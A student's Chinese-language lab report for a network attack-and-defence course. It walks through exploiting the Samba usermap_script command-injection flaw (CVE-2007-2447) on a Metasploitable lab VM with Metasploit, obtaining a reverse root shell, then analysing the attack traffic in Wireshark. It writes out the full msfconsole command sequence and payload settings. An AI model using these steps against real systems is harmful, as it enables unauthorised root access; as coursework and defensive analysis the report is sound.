20252813 2025-2026-2 《网络攻防实践》 第7次作业
20252813 2025-2026-2 《网络攻防实践》实践七报告
1. 实践内容
1.1 Samba Usermap_script 漏洞原理
Samba是一个实现SMB/CIFS协议的开源软件套件,广泛用于Linux/Unix系统与Windows系统之间的文件共享和打印服务交互。在Samba 3.0.20至3.0.25rc3版本中存在一个严重的安全漏洞——Usermap_script命令注入漏洞(CVE-2007-2447)。该漏洞的根源在于Samba的smb.conf配置文件中username map script选项存在安全隐患。
当管理员启用username map script配置选项时,Samba会调用一个外部脚本将客户端提供的用户名映射为系统本地用户名。问题在于,Samba在处理用户名字段时未对输入进行严格的安全过滤,攻击者可以在用户名字段中注入包含Shell元字符的恶意命令,格式如username = "/=\nohup <恶意命令>`"`。最关键的是,用户名映射过程发生在用户身份验证之前,这意味着攻击者无需任何有效凭据即可利用此漏洞,直接以Samba服务的权限(通常权限较高)执行任意命令,属于典型的未授权远程代码执行(RCE)漏洞。
1.2 实验任务
本次实践包含两个主要任务:
任务一:Metasploit远程渗透攻击
使用Metasploit渗透测试框架,对Metasploitable靶机上的Samba服务Usermap_script安全漏洞进行渗透攻击,获取目标Linux靶机的主机访问权限。具体步骤包括启动Metasploit、加载渗透攻击模块、选择攻击载荷(PAYLOAD)、设置攻击参数、执行攻击并验证获得的权限。
任务二:攻防对抗实践
- 攻击方:使用Metasploit对Metasploitable靶机中的漏洞进行渗透攻击,获取远程控制权,并尝试进一步获得root权限。
- 防守方:使用tcpdump/Wireshark/Snort监听并捕获网络攻击的数据包,结合Wireshark/Snort分析攻击过程,提取攻击者的IP地址、目标IP和端口、攻击发起时间、攻击利用的漏洞信息、使用的Shellcode内容,以及攻击成功后命令行中输入的命令信息。
2. 实践过程
2.1 实验环境
本次实验在虚拟机环境中完成,网络采用桥接模式,确保攻击机与靶机处于同一网段。
| 角色 | 操作系统/平台 | IP地址 |
|---|---|---|
| 攻击机 | Kali Linux | 192.168.200.6 |
| 靶机 | Metasploitable Ubuntu | 192.168.200.5 |
2.2 任务一:使用Metasploit进行Linux远程渗透攻击
步骤①:启动Metasploit软件
在Kali攻击机上打开终端,输入以下命令启动Metasploit控制台:
sudo msfconsole
执行后Metasploit会显示启动横幅,显示版本信息(如Metasploit 6.x)以及可用的模块总数。

步骤②:查找并使用Samba Usermap_script渗透攻击模块
首先,输入search命令确认Samba相关的渗透模块是否存在:
search samba usermap_script
搜索结果中显示exploit/multi/samba/usermap_script模块。
然后,使用use命令加载该渗透攻击模块:
use exploit/multi/samba/usermap_script
此时提示符变化,显示已进入该模块的上下文环境。

步骤③:选择攻击PAYLOAD为远程Shell
输入以下命令查看该模块可用的攻击载荷:
show payloads
在列出的可用载荷中,选择一个远程Shell(本次实验选择反向连接载荷):
set payload cmd/unix/reverse
| 载荷类型 | 连接方向 | 适用场景 |
|---|---|---|
cmd/unix/reverse |
反向连接(靶机主动连接攻击机) | 易于绕过防火墙限制 |
cmd/unix/bind_netcat |
正向连接(攻击机连接靶机监听端口) | 靶机端口可达时使用 |
本次实验使用反向连接载荷,攻击机会监听指定端口等待靶机连接。


步骤④:设置渗透攻击参数
输入以下命令查看需要配置的参数:
show options
该模块至少需要配置两个参数:
- RHOSTS:目标靶机的IP地址
- LHOST:攻击机(Kali)的IP地址
- LPORT(可选,默认4444):攻击机监听的端口号
设置参数(将IP地址替换为实验环境的实际地址):
set RHOST 192.168.200.5 # 靶机IP
set LHOST 192.168.200.6 # 攻击机IP,用于反向连接的监听
set LPORT 4444 # 可选,默认端口即为4444
再次输入show options确认参数配置正确无误。

步骤⑤:执行渗透攻击
输入以下命令发起攻击:
exploit
执行后,Metasploit会尝试利用Samba Usermap_script漏洞。如果攻击成功,会出现提示信息。

步骤⑥:查看是否正确得到远程Shell及获得的权限
进入会话后,输入Linux命令验证:
whoami
如果显示root,说明攻击成功后获得的远程Shell具有root权限。Samba Usermap_script漏洞利用成功的显著特点是直接获取root权限,无需额外提权操作。

2.3 任务二:攻防对抗实践
对任务一的攻击过程使用Wireshark抓包分析。
2.3.1 Wireshark流量抓包与攻击过程分析
在网络层面捕获攻击过程中的数据包,并从流量分析中提取关键攻击信息。
攻击数据包分析
攻击成功并建立Shell连接后,停止Wireshark抓包,对捕获的数据包进行深入分析。
① 获取攻击者IP和靶机IP及端口
分析SMB流量数据包可知:攻击者IP为攻击机的IP地址,目标IP为靶机的IP地址。
在后续反向连接建立过程中,还可以看到靶机向攻击机发起的连接,端口为4444。

② 获取攻击成功后在命令行输入的信息
在Shell连接建立后,攻击者会在远程终端输入命令。分析Shell连接的TCP流中的后续数据包,可以看到攻击者执行的命令。
然后追踪该流的TCP流,可以找到攻击者在成功进入Shell后输入的命令,如whoami。这些命令在流量中以明文形式传输,因为使用的是原生的TCP连接而非加密协议。
发起TCP连接请求

运行反向shell Metasploit Payload连接目标主机

靶机响应

攻击载荷生效,shell 建立,可发送命令或结果
192.168.200.5 > 192.168.200.6 TCP 59056 > 4444 [PSH, ACK]

找到输入的命令

3. 学习中遇到的问题及解决
问题:攻击执行后未能获得Shell
【现象描述】
执行exploit命令后,Metasploit显示攻击已完成(Exploit finished)但没有显示建立会话,输入sessions命令发现会话列表为空。
【分析排查】
可能的原因包括:
- 靶机的Samba服务未正常运行或端口封闭
- 靶机的Samba版本不在漏洞影响范围内(该漏洞影响Samba 3.0.20至3.0.25rc3版本)
- 防火墙规则阻止了反向连接
【解决方案】
-
检查端口可达性:在攻击机上使用nmap扫描确认靶机445端口状态:
nmap -p445 靶机IP
如果显示
open则端口正常开放。 -
验证Samba版本:使用以下命令探测Samba服务版本:
smbclient -L //靶机IP
-
确认IP地址配置:重新检查
RHOST和LHOST参数是否设置正确,特别是LHOST必须是攻击机IP且靶机能够访问到。 -
检查防火墙:确认攻击机防火墙允许传入的4444端口连接。
问题:Wireshark过滤条件不工作或找不到SMB数据包
【现象描述】
在Wireshark中输入smb过滤条件后,没有显示任何数据包,但实际操作中明确有攻击流量产生。
【分析排查】
可能的原因:
- 抓包时选择的网络接口不正确
- 过滤语法有误(例如混淆了大小写或协议名称)
【解决方案】
-
确认正确的网络接口:在Wireshark中查看接口列表,确认正在监听的接口与实际通信的网卡一致。可以通过
ifconfig检查IP,确保选中有靶机通信的接口。 -
使用备选过滤条件:由于
smb过滤器依赖于Wireshark对SMB协议的正确解析,有时可能出现解析失败的情况,可尝试使用端口号过滤:tcp.port == 139 or tcp.port == 445
-
同时进行实时抓包测试:在攻击过程中保持tcpdump抓包并在攻击结束后再分析,确保流程无误。
4. 实践总结和体会
4.1 技术层面的收获
通过本次实验,我对渗透测试的完整流程有了更深刻的理解。在实际操作中,通过Msfconsole的search、use、show payloads、set和exploit这一系列操作,直观地体验了从漏洞信息查询到最终获取Shell的完整攻击链。
Samba Usermap_script漏洞让我深刻认识到:一个小小的输入验证疏漏——未对用户名字段进行严格过滤——就可能导致整个系统被未授权攻击者完全控制,而且攻击发生在身份验证之前,可谓不设防的入口。本次实验中攻击成功后直接以root身份进入靶机,无需额外提权,进一步印证了该漏洞的危险性。
在防守方角度,使用Wireshark进行攻击流量分析让我学会了从网络流量中提取攻击证据的方法。通过SMB协议包中的恶意命令注入发现漏洞利用特征,通过反向连接的TCP流还原攻击者的后续操作,这些都是安全取证的关键技能。流量分析与Snort检测的结合,也体现了从被动防御到主动检测的安全防护理念。
4.2 对网络攻防本质的思考
这次实验让我体会到网络攻防的本质是一场信息与时间的博弈:
- 攻击方的核心优势在于快速发现利用未知漏洞(0day)或未打补丁的已知漏洞。Metasploit等框架大大降低了漏洞利用的技术门槛,使攻击者能够高效地完成从侦察到获取权限的全流程。
- 防御方则需要建立纵深防御体系:及时更新补丁、合理配置服务(如禁止启用
username map script等高风险配置)、部署IDS/IPS设备、定期进行安全审计与渗透测试。
从更长远的角度看,安全左移(Security Shift Left)的思想在实践中尤为重要——在开发和安全配置阶段解决问题,远比在攻击发生后进行应急响应成本更低。Samba Usermap_script漏洞就是最好的反面教材:一个配置选项的误用,就能让整个服务变成系统最大的安全短板。
4.3 未来学习的展望
本次SMB(445端口)漏洞的利用只是Metasploit渗透测试框架能力的一小部分。未来可以继续学习更多后渗透测试技术,例如利用Meterpreter进行内核提权、持久化后门安装、横向移动与内网渗透等。在防御方面,可以深入学习Snort规则编写与Suricata等入侵检测系统的高级应用,将被动流量分析与主动威胁狩猎结合起来进行综合安全防御。

浙公网安备 33010602011771号